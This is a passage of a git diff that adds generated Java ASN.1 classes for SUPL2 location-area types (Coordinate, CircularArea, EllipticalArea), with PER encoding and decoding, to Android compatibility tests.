+ radiusType result = new radiusType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new radiusType from encoded stream.
+ */
+ public static radiusType fromPerAligned(byte[] encodedBytes) {
+ radiusType result = new radiusType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "radiusType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class radius_minType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_radius_minType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public radius_minType() {
+ super();
+ setValueRange("1", "1000000");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_radius_minType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_radius_minType != null) {
+ return ImmutableList.of(TAG_radius_minType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new radius_minType from encoded stream.
+ */
+ public static radius_minType fromPerUnaligned(byte[] encodedBytes) {
+ radius_minType result = new radius_minType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new radius_minType from encoded stream.
+ */
+ public static radius_minType fromPerAligned(byte[] encodedBytes) {
+ radius_minType result = new radius_minType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "radius_minType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class radius_maxType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_radius_maxType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public radius_maxType() {
+ super();
+ setValueRange("1", "1500000");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_radius_maxType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_radius_maxType != null) {
+ return ImmutableList.of(TAG_radius_maxType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new radius_maxType from encoded stream.
+ */
+ public static radius_maxType fromPerUnaligned(byte[] encodedBytes) {
+ radius_maxType result = new radius_maxType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new radius_maxType from encoded stream.
+ */
+ public static radius_maxType fromPerAligned(byte[] encodedBytes) {
+ radius_maxType result = new radius_maxType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "radius_maxType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("CircularArea = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/Coordinate.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/Coordinate.java
new file mode 100755
index 0000000..8cca8cd
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/Coordinate.java
@@ -0,0 +1,639 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Enumerated;
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Coordinate extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Coordinate
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Coordinate() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Coordinate;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Coordinate != null) {
+ return ImmutableList.of(TAG_Coordinate);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Coordinate from encoded stream.
+ */
+ public static Coordinate fromPerUnaligned(byte[] encodedBytes) {
+ Coordinate result = new Coordinate();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Coordinate from encoded stream.
+ */
+ public static Coordinate fromPerAligned(byte[] encodedBytes) {
+ Coordinate result = new Coordinate();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private Coordinate.latitudeSignType latitudeSign_;
+ public Coordinate.latitudeSignType getLatitudeSign() {
+ return latitudeSign_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Coordinate.latitudeSignType
+ */
+ public void setLatitudeSign(Asn1Object value) {
+ this.latitudeSign_ = (Coordinate.latitudeSignType) value;
+ }
+ public Coordinate.latitudeSignType setLatitudeSignToNewInstance() {
+ latitudeSign_ = new Coordinate.latitudeSignType();
+ return latitudeSign_;
+ }
+
+ private Coordinate.latitudeType latitude_;
+ public Coordinate.latitudeType getLatitude() {
+ return latitude_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Coordinate.latitudeType
+ */
+ public void setLatitude(Asn1Object value) {
+ this.latitude_ = (Coordinate.latitudeType) value;
+ }
+ public Coordinate.latitudeType setLatitudeToNewInstance() {
+ latitude_ = new Coordinate.latitudeType();
+ return latitude_;
+ }
+
+ private Coordinate.longitudeType longitude_;
+ public Coordinate.longitudeType getLongitude() {
+ return longitude_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Coordinate.longitudeType
+ */
+ public void setLongitude(Asn1Object value) {
+ this.longitude_ = (Coordinate.longitudeType) value;
+ }
+ public Coordinate.longitudeType setLongitudeToNewInstance() {
+ longitude_ = new Coordinate.longitudeType();
+ return longitude_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getLatitudeSign() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getLatitudeSign();
+ }
+
+ @Override public void setToNewInstance() {
+ setLatitudeSignToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Coordinate.latitudeSignType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "latitudeSign : "
+ + getLatitudeSign().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getLatitude() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getLatitude();
+ }
+
+ @Override public void setToNewInstance() {
+ setLatitudeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Coordinate.latitudeType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "latitude : "
+ + getLatitude().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getLongitude() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getLongitude();
+ }
+
+ @Override public void setToNewInstance() {
+ setLongitudeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Coordinate.longitudeType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "longitude : "
+ + getLongitude().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class latitudeSignType extends Asn1Enumerated {
+ public enum Value implements Asn1Enumerated.Value {
+ north(0),
+ south(1),
+ ;
+
+ Value(int i) {
+ value = i;
+ }
+
+ private int value;
+ public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return false;
+ }
+ }
+
+ public enum ExtensionValue implements Asn1Enumerated.Value {
+ ;
+
+ ExtensionValue(int i) {
+ value = i;
+ }
+
+ private int value;
+ @Override public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return true;
+ }
+ }
+
+
+
+ private static final Asn1Tag TAG_latitudeSignType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public latitudeSignType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_latitudeSignType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_latitudeSignType != null) {
+ return ImmutableList.of(TAG_latitudeSignType);
+ } else {
+ return Asn1Enumerated.getPossibleFirstTags();
+ }
+ }
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override protected Asn1Enumerated.Value lookupValue(int ordinal) {
+ return Value.values()[ordinal];
+ }
+
+ @Override protected Asn1Enumerated.Value lookupExtensionValue(int ordinal) {
+ return ExtensionValue.values()[ordinal];
+ }
+
+ @Override protected int getValueCount() {
+ return Value.values().length;
+ }
+
+ /**
+ * Creates a new latitudeSignType from encoded stream.
+ */
+ public static latitudeSignType fromPerUnaligned(byte[] encodedBytes) {
+ latitudeSignType result = new latitudeSignType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new latitudeSignType from encoded stream.
+ */
+ public static latitudeSignType fromPerAligned(byte[] encodedBytes) {
+ latitudeSignType result = new latitudeSignType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "latitudeSignType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class latitudeType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_latitudeType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public latitudeType() {
+ super();
+ setValueRange("0", "8388607");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_latitudeType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_latitudeType != null) {
+ return ImmutableList.of(TAG_latitudeType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new latitudeType from encoded stream.
+ */
+ public static latitudeType fromPerUnaligned(byte[] encodedBytes) {
+ latitudeType result = new latitudeType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new latitudeType from encoded stream.
+ */
+ public static latitudeType fromPerAligned(byte[] encodedBytes) {
+ latitudeType result = new latitudeType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "latitudeType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class longitudeType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_longitudeType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public longitudeType() {
+ super();
+ setValueRange("-8388608", "8388607");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_longitudeType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_longitudeType != null) {
+ return ImmutableList.of(TAG_longitudeType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new longitudeType from encoded stream.
+ */
+ public static longitudeType fromPerUnaligned(byte[] encodedBytes) {
+ longitudeType result = new longitudeType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new longitudeType from encoded stream.
+ */
+ public static longitudeType fromPerAligned(byte[] encodedBytes) {
+ longitudeType result = new longitudeType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "longitudeType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Coordinate = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/EllipticalArea.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/EllipticalArea.java
new file mode 100755
index 0000000..4a86a8d
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/EllipticalArea.java
@@ -0,0 +1,1212 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class EllipticalArea extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_EllipticalArea
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public EllipticalArea() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_EllipticalArea;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_EllipticalArea != null) {
+ return ImmutableList.of(TAG_EllipticalArea);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new EllipticalArea from encoded stream.
+ */
+ public static EllipticalArea fromPerUnaligned(byte[] encodedBytes) {
+ EllipticalArea result = new EllipticalArea();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new EllipticalArea from encoded stream.
+ */
+ public static EllipticalArea fromPerAligned(byte[] encodedBytes) {
+ EllipticalArea result = new EllipticalArea();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private Coordinate coordinate_;
+ public Coordinate getCoordinate() {
+ return coordinate_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Coordinate
+ */
+ public void setCoordinate(Asn1Object value) {
+ this.coordinate_ = (Coordinate) value;
+ }
+ public Coordinate setCoordinateToNewInstance() {
+ coordinate_ = new Coordinate();
+ return coordinate_;
+ }
+
+ private EllipticalArea.semiMajorType semiMajor_;
+ public EllipticalArea.semiMajorType getSemiMajor() {
+ return semiMajor_;
+ }
+ /**
+ * @throws ClassCastException if value is not a EllipticalArea.semiMajorType
+ */
+ public void setSemiMajor(Asn1Object value) {
+ this.semiMajor_ = (EllipticalArea.semiMajorType) value;
+ }
+ public EllipticalArea.semiMajorType setSemiMajorToNewInstance() {
+ semiMajor_ = new EllipticalArea.semiMajorType();
+ return semiMajor_;
+ }
+
+ private EllipticalArea.semiMajor_minType semiMajor_min_;
+ public EllipticalArea.semiMajor_minType getSemiMajor_min() {
+ return semiMajor_min_;
+ }
+ /**
+ * @throws ClassCastException if value is not a EllipticalArea.semiMajor_minType
+ */
+ public void setSemiMajor_min(Asn1Object value) {
+ this.semiMajor_min_ = (EllipticalArea.semiMajor_minType) value;
+ }
+ public EllipticalArea.semiMajor_minType setSemiMajor_minToNewInstance() {
+ semiMajor_min_ = new EllipticalArea.semiMajor_minType();
+ return semiMajor_min_;
+ }
+
+ private EllipticalArea.semiMajor_maxType semiMajor_max_;
+ public EllipticalArea.semiMajor_maxType getSemiMajor_max() {
+ return semiMajor_max_;
+ }
+ /**
+ * @throws ClassCastException if value is not a EllipticalArea.semiMajor_maxType
+ */
+ public void setSemiMajor_max(Asn1Object value) {
+ this.semiMajor_max_ = (EllipticalArea.semiMajor_maxType) value;
+ }
+ public EllipticalArea.semiMajor_maxType setSemiMajor_maxToNewInstance() {
+ semiMajor_max_ = new EllipticalArea.semiMajor_maxType();
+ return semiMajor_max_;
+ }
+
+ private EllipticalArea.semiMinorType semiMinor_;
+ public EllipticalArea.semiMinorType getSemiMinor() {
+ return semiMinor_;
+ }
+ /**
+ * @throws ClassCastException if value is not a EllipticalArea.semiMinorType
+ */
+ public void setSemiMinor(Asn1Object value) {
+ this.semiMinor_ = (EllipticalArea.semiMinorType) value;
+ }
+ public EllipticalArea.semiMinorType setSemiMinorToNewInstance() {
+ semiMinor_ = new EllipticalArea.semiMinorType();
+ return semiMinor_;
+ }
+
+ private EllipticalArea.semiMinor_minType semiMinor_min_;
+ public EllipticalArea.semiMinor_minType getSemiMinor_min() {
+ return semiMinor_min_;
+ }
+ /**
+ * @throws ClassCastException if value is not a EllipticalArea.semiMinor_minType
+ */
+ public void setSemiMinor_min(Asn1Object value) {
+ this.semiMinor_min_ = (EllipticalArea.semiMinor_minType) value;
+ }
+ public EllipticalArea.semiMinor_minType setSemiMinor_minToNewInstance() {
+ semiMinor_min_ = new EllipticalArea.semiMinor_minType();
+ return semiMinor_min_;
+ }
+
+ private EllipticalArea.semiMinor_maxType semiMinor_max_;
+ public EllipticalArea.semiMinor_maxType getSemiMinor_max() {
+ return semiMinor_max_;
+ }
+ /**
+ * @throws ClassCastException if value is not a EllipticalArea.semiMinor_maxType
+ */
+ public void setSemiMinor_max(Asn1Object value) {
+ this.semiMinor_max_ = (EllipticalArea.semiMinor_maxType) value;
+ }
+ public EllipticalArea.semiMinor_maxType setSemiMinor_maxToNewInstance() {
+ semiMinor_max_ = new EllipticalArea.semiMinor_maxType();
+ return semiMinor_max_;
+ }
+
+ private EllipticalArea.angleType angle_;
+ public EllipticalArea.angleType getAngle() {
+ return angle_;
+ }
+ /**
+ * @throws ClassCastException if value is not a EllipticalArea.angleType
+ */
+ public void setAngle(Asn1Object value) {
+ this.angle_ = (EllipticalArea.angleType) value;
+ }
+ public EllipticalArea.angleType setAngleToNewInstance() {
+ angle_ = new EllipticalArea.angleType();
+ return angle_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getCoordinate() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCoordinate();
+ }
+
+ @Override public void setToNewInstance() {
+ setCoordinateToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Coordinate.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "coordinate : "
+ + getCoordinate().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getSemiMajor() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSemiMajor();
+ }
+
+ @Override public void setToNewInstance() {
+ setSemiMajorToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? EllipticalArea.semiMajorType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "semiMajor : "
+ + getSemiMajor().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getSemiMajor_min() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSemiMajor_min();
+ }
+
+ @Override public void setToNewInstance() {
+ setSemiMajor_minToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? EllipticalArea.semiMajor_minType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "semiMajor_min : "
+ + getSemiMajor_min().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getSemiMajor_max() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSemiMajor_max();
+ }
+
+ @Override public void setToNewInstance() {
+ setSemiMajor_maxToNewInstance();
+ }
+
